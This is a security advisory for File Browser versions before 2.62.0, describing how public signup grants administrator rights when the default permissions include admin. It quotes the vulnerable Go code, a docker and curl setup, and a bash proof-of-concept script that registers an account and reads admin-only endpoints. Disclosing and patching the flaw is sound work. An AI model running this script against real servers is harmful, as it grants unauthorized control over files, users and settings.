GHSA-5gg9-5g7w-hm73 File Browser Signup Grants Admin When Default Permissions Include Admin

• Go github.com/filebrowser/filebrowser/v2: < 2.62.0 → fixed in 2.62.0

Summary Any unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts. Details Affected file: http/auth.go Vulnerable code: ```go user := &users.User{ Username: info.Username, } d.settings.Defaults.Apply(user) ``` `settings.UserDefaults.Apply` (settings/defaults.go): ```go func (d *UserDefaults) Apply(u *users.User) { u.Perm = d.Perm ... } ``` Settings API permits Admin in defaults (http/settings.go): ```go var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) { ... d.settings.Defaults = req.Defaults ... }) ``` The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings. Demo Server Setup ```bash docker run -d --name fb-test \ -p 8080:80 \ -v /tmp/fb-data:/srv \ filebrowser/filebrowser:v2.31.2 ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}') curl -s -X PUT http://localhost:8080/api/settings \ -H "X-Auth: $ADMIN_TOKEN" \ -H 'Content-Type: application/json' \ -d '{ "signup": true, "defaults": { "perm": { "admin": true, "execute": true, "create": true, "rename": true, "modify": true, "delete": true, "share": true, "download": true } } }' ``` PoC Exploit ```bash !/bin/bash TARGET="http://localhost:8080" echo "[*] Registering attacker account via public signup endpoint..." STATUS=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "$TARGET/api/signup" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}') echo "[*] Signup response: HTTP $STATUS" echo "[*] Logging in as newly created account..." ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}') echo "[*] Fetching user list with attacker token (admin-only endpoint)..." curl -s "$TARGET/api/users" \ -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool echo "" echo "[*] Verifying admin access by reading /api/settings..." curl -s "$TARGET/api/settings" \ -H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool ``` Expected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users. Impact Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can: • List, read, modify, and delete every file on the server • Create, modify, and delete all other users • Change authentication method and server settings • Execute arbitrary commands if enableExec = true